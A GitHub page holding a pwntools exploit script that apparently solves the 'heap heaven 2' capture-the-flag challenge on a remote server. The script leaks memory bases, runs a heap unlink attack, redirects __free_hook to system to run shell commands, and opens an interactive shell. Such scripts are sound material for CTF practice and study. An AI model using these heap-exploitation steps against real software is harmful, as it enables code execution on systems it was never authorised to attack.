-
Notifications
You must be signed in to change notification settings - Fork 39
/
exp_heap_heaven_2.py
executable file
·147 lines (117 loc) · 2.99 KB
/
exp_heap_heaven_2.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
#!/usr/bin/env python
# coding: utf-8
from pwn import *
p = remote('arcade.fluxfingers.net', 1809)
# aggressive alias
r = lambda x: p.recv(x)
ru = lambda x: p.recvuntil(x)
rud = lambda x: p.recvuntil(x, drop=True)
se = lambda x: p.send(x)
sel = lambda x: p.sendline(x)
pick32 = lambda x: u32(x[:4].ljust(4, '\0'))
pick64 = lambda x: u64(x[:8].ljust(8, '\0'))
# module structure & function
libc_remote = {
'base': 0x0,
'unsorted_bin': 0x1beb00,
'free_hook': 0x1c0748,
'top_chunk': 0x1beb00,
'system': 0x45380
}
libc = libc_remote
elf = {
'base': 0x0,
'leaked': 0x1670,
'mmaped': 0x4048
}
heap = {
'base': 0x0,
'leaked': 0x290,
'ptr': 0x280
}
mmap = {
'base': 0x0,
'leaked': 0x880,
'libc_ptr': 0x120 * 7 + 0x10
}
def set_base(mod, ref, addr):
base = addr - mod[ref]
for element in mod:
mod[element] += base
def write(sz, offset, payload):
ru('exit\n')
sel('1')
ru('write?\n')
sel(str(sz & 0xFFFFFFFFFFFFFFFF))
ru('offset?\n')
sel(str(offset & 0xFFFFFFFFFFFFFFFF))
if local:
time.sleep(0.1)
else:
time.sleep(0.5)
se(payload)
def free(offset):
ru('exit\n')
sel('3')
ru('free?\n')
sel(str(offset & 0xFFFFFFFFFFFFFFFF))
def leak(offset):
ru('exit\n')
sel('4')
ru('leak?\n')
sel(str(offset & 0xFFFFFFFFFFFFFFFF))
ru('Please')
payload = (p64(0) + p64(0x21) + 'A' * 0x10) * 8
write(len(payload), 0, payload)
for i in range(7):
free(i * 0x20 + 0x10)
payload = (p64(0) + p64(0x31) + 'B' * 0x20) * 8
write(len(payload), 0, payload)
for i in range(7):
free(i * 0x30 + 0x10)
payload = (p64(0) + p64(0x21) + 'A' * 0x10) * 5
write(len(payload), 0x880, payload)
for i in range(4):
free(0x880 + i * 0x20 + 0x10)
payload = (p64(0) + p64(0x31) + 'B' * 0x20) * 2
write(len(payload), 0x880, payload)
for i in range(2):
free(0x880 + i * 0x30 + 0x10)
leak(0x8f0)
leaked = pick64(rud('\n'))
set_base(mmap, 'leaked', leaked)
print('[+] mmap base @ %#x' % mmap['base'])
payload = (p64(0) + p64(0x101) + 'C' * 0xf0 + p64(0) + p64(0x21) + 'D' * 0x10) * 3
write(len(payload), 0, payload)
write(len(payload), 0+len(payload), payload)
write(len(payload), 0+len(payload)*2, payload)
for i in range(8):
free(i * 0x120 + 0x10)
write(8, 0, p64(mmap['libc_ptr']+1))
leak(0)
leaked = pick64('\0' + rud('\n'))
set_base(libc, 'unsorted_bin', leaked)
print('[+] libc base @ %#x' % libc['base'])
write(8, 0, p64(libc['top_chunk']))
leak(0)
leaked = pick64(rud('\n'))
set_base(heap, 'leaked', leaked)
print('[+] heap base @ %#x' % heap['base'])
write(8, 0, p64(heap['ptr']))
leak(0)
leaked = pick64(rud('\n'))
set_base(elf, 'leaked', leaked)
print('[+] elf base @ %#x' % elf['base'])
# Unlink
fd = elf['mmaped'] - 24
bk = elf['mmaped'] - 16
payload = p64(0) + p64(0x101) + p64(fd) + p64(bk)
write(len(payload), 0, payload)
payload = p64(0x100) + p64(0x100) + 'C' * 0xf0 + p64(0) + p64(0x21) + 'D' * 0x10 + p64(0) + p64(0x21)
write(len(payload), 0x100, payload)
free(0x100 + 0x10)
write(8, 0x18, p64(libc['free_hook']))
payload = p64(libc['system']) + 'ls *;cat flag\0'
write(len(payload), 0, payload)
free(0x8)
p.interactive()